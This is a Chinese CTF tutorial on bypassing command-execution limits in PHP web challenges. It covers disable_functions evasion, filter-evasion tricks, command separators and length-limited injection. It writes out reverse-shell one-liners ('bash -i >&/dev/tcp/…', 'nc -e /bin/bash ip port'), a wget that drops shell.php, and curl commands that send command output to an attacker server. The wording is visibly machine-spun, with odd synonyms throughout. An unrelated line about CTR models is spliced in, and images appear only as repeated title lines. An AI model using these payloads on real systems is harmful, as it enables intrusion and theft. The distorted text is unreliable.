CTF中的下令执行绕过

本位原创作者:Smity

 

在先容下令注入之前,有一点需要注重:下令注入与远程代码执行差别。他们的区别在于,远程代码执行实际上是挪用服务器网站代码举行执行,而下令注入则是挪用操作系统下令举行执行。

作为CTF最基础的操作,下令执行的学习主要是为了以后进一步使用webshell打下基础

同样的,今天还会先容若何使用种种下令执行绕过的方式

首先我们先来看代码执行

动态挪用:

这个地方是ctf曾经的一个考点,也是我在强网杯出过的一道问题,叫”高明的黑客”,内里使用的就是混淆代码+动态函数挪用,这种写法实际上在红蓝攻防中很经常用到,就是一堆函数举行混淆,然后在内里插入一个动态函数举行真正的代码执行或者是下令执行。

那时那道问题的灵感是来自于一场平安响应,黑客攻陷网站后,在里头插入了混淆以后的代码,1000多个文件内里只有一条路径是正常执行的,最后是使用debug直接看栈内存的挪用来判断哪个路径是真的动态挪用。

CTF中的下令执行绕过

 

常见的下令执行函数

CTF中的下令执行绕过

 

反引号

CTF中的下令执行绕过

这个是人人很容易遗忘的一个下令执行点,ctf赛题最近也出了许多道关于这个的问题。我们在第二篇中会拿一个例子来详细分析他的作用。

 

下令执行绕过

以上是我们常见的代码注入或者是下令注入的函数,然则许多时刻在ctf中,出题人不会那么容易的就让我们执行下令。因此我们必须要能够掌握多种下令执行绕过的姿势。

一样平常来说,遇到的无非以下两种情形:

1.disable_function

2.过滤字符

 

disable_function

这个器械很明显就是什么呢,你能够代码执行了,然则发现不论是蚁剑照样你自己手打,都执行不了系统下令,然后你用phpinfo这种函数读取后发现如下设置:

CTF中的下令执行绕过

实际上是开发者在后端的php.ini里写了如下语句

 

disable_functions =system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname

 

最常用的就是两种设施

1.ld_preload

2.php_gc

 

ld_preload

今年来对照少考到,然则在红蓝攻防中很经常应用

需要劈面知足条件是:劈面没有禁用mail函数(可能这也是最近竞赛不爱考这个的缘故原由之一,若是禁用了mail,那即是就是考察其余点了,不禁用mail又一堆人用这个方式绕过,也很没有意思)操作方式:

 

hack.c

CTF中的下令执行绕过

将带有下令的c文件编译成为.so文件然后通过代码执行传入(这里可以直接用蚁剑)

CTF中的下令执行绕过

然后传入如下php文件

CTF中的下令执行绕过

接见php文件就可以运行适才的下令了。然后可以在/tmp/smity文件下看到ls的效果。

 

php_gc

从这两次公益赛来看这个都是考点(春秋和高校)两次的问题分别是:easy-thinking和php-uaf都是做到了代码执行却没有下令执行,以是通常步骤就是,行使蚁剑链接我们的shell代码执行,将下面的剧本写好下令传上去然后接见,行使phpgc历程Bypass 条件:php7.0 < 7.3 (Unix)

这里的人人可以参考这个博客,内里有对照详细的剧本,由于太长了就不贴在这里了

https://wulidecade.cn/2019/09/27/%E7%BB%95%E8%BF%87disable-function%E6%B1%87%E6%80%BB/

 

过滤字符

这个限制一样平常是问题中允许你使用system,然则很奇怪的是你却没有设施获取执行下令的效果

好比,劈面过滤了空格,你能执行ls,然则没法cat读取文件

好比,劈面过滤了flag这个词语,什么文件都可以读取,就是没设施读取flag

等等,都是ctf问题做到最后,这个出题人小心思有意在这里卡你一下。这个时刻你就需要试试我接下来讲的这些方式:

 

空格取代

空格在bash下,可以用以下字符取代空格

CTF中的下令执行绕过

这里注释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下示意分隔符,只有cat$IFSa.txt的时刻,bash注释器会把整个IFSa当做变量名,以是导致没有设施运行,然而若是加一个{}就牢固了变量名,同理在后面加个$可以起到截断的作用,而$9指的是当前系统shell历程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加器械,即是做了一个前后隔离。

 

截断符号

ctf很喜欢考的一点是下令执行的毗邻,这个地方它通常会给一个已有的下令执行,好比代码写好了ping下令,叫你填写一个ip参数这样的问题,这个时刻就需要测试截断符号,将你输入的ip参数和后面要执行的下令离隔。首先测试所有的截断符号:

CTF中的下令执行绕过

行使截断符号配合通俗下令简朴问题基本就出来;例如:ip=127.0.0.1;cat /home/flag.txt这样就可以到达同时执行两条下令的效果

CTR学习条记&代码实现3-深度ctr模子 FNN->PNN->DeepFM

 

行使base编码绕过

这种绕过针对的是系统过滤敏感字符的时刻,好比他过滤了cat下令,那么就可以用下面这种方式将cat先base64编码后再举行解码运行。

CTF中的下令执行绕过

 

毗邻符,用两个单引号可以绕过

cat /etc/pass’w’d这个是现在很喜欢考的点之一,基本能通杀大部分下令注入waf由于单引号一旦过滤很大水平上会影响正常解题。

CTF中的下令执行绕过

 

反斜杠行使

这个是很经典的hitcon问题,hitcon延续好几年出了绕过长度限制执行下令的问题

好比七个字符执行下令

七个字的下令执行

这里先先容一下小技巧,linux下建立文件的下令可以用1>1建立文件名为1的空文件

CTF中的下令执行绕过

ls>1可以直接把把ls的内容导入一个文件中,然则会默认追加\n

CTF中的下令执行绕过

\ 在linux里也是个毗邻符,最早使用在屏幕不能容纳跨越18个字符的第一代计算机,用于毗邻上下两行,这里使用它来绕过限制

语句为wget 域名.com -O shell.php

ls > a 写入服务器文件然后sh a 读取

这里注重.不能作为文件名的开头,由于linux下.是隐藏文件的开头,ls列不出来

然而这里另有个问题,就是ls下的文件名是根据字母顺序排序的,以是需要基于时间排序 将最后的下令改成ls -t>a

CTF中的下令执行绕过

至于绕过5个字符执行下令,绕过4个字符,那实在都是用\做的trick,这里不逐一赘述了。

 

下令执行效果返回长度受限制

这次在高校战争上有一道问题提醒了我这个,出题人实在能过滤的就那么多,那么另有一种方式卡住你就是不让你看到下令执行的完整效果,好比不回显或者是回显一行,这次问题需要用道soapclient做代码执行,然则它有一点欠好就是没设施回显完整,只能看到一行效果,这样对我们的下令执行很不利便,而且dev文件没有权限使用,这个时刻我们可以用下面这个反弹shell的设施。

实在反弹shell的下令人人很喜欢用这个:

bash -i >&/dev/tcp/ip/port0>&1

然则这个有一点欠好,他需要dev也需要bash,实际上用我下面这个下令会更简朴:监听端口后

nc-e /bin/bash ip port

这样也可以拿到shell,实在本质是一样的,没有太大区别,只是简化了一下。

 

一道很经典的下令执行绕过

这个问题似乎看到两次了,一开始人人都不会脑洞,厥后发现这次照样好多人没有学会,也没有去总结poc:

CTF中的下令执行绕过

首先先明了这个地方限制了什么

1.限制了只能代码执行

2.限制了只能执行一个变量$x

3.限制了这个变量的长度

以是这个地方一共有两个思绪

1.传入数组,让他能够执行多个变量,由于$_GET是个数组,然则这个思绪是错误的,由于GET虽然能传入多个变量,然则已经限制了只能执行$x,而$x来自GET数组里键值为x的变量,以是第这个我们放弃。

2.反引号执行自己,传入$x自己,也就是说,直接让$_GET[‘x’]=$x,这样一来 ,就会使得$x=$x,若是$x是下令,就会通过反引号自己来执行它

若是$x后面再跟上我们之前讲的毗邻符会是什么样呢

`$x`;abcd

那么纵然取出前5个字符,照样会执行整个的$x,用上分隔符就会执行多条下令

假设我们在这里加点难度,没有回显,执行下令然则不给你效果,怎么办呢?

两种方式

1.反弹shell

2.curl

 

反弹shell,我们这里可以使用;来毗邻下令,

$x;nc -e /bin/bash ip port

然后在自己服务器端口 nc -lvv 8080举行监听

然则这题要是再难一点,没有权限执行反弹shell这个操作呢

我们还可以用另一种方式:

 

curl的妙用

在curl内里有这几种方式

直接ip发送get包

-d发送post包

-v 显示整个通讯历程

–data发送数据

这里可以使用curl -v http://ip?whoami

或者 curl -v http://ip –datawhoami

IP为自己服务器,就可以在/var/log/apache2/access.log下看到下令执行的效果了。

原创文章,作者:admin,如若转载,请注明出处:https://www.2lxm.com/archives/5545.html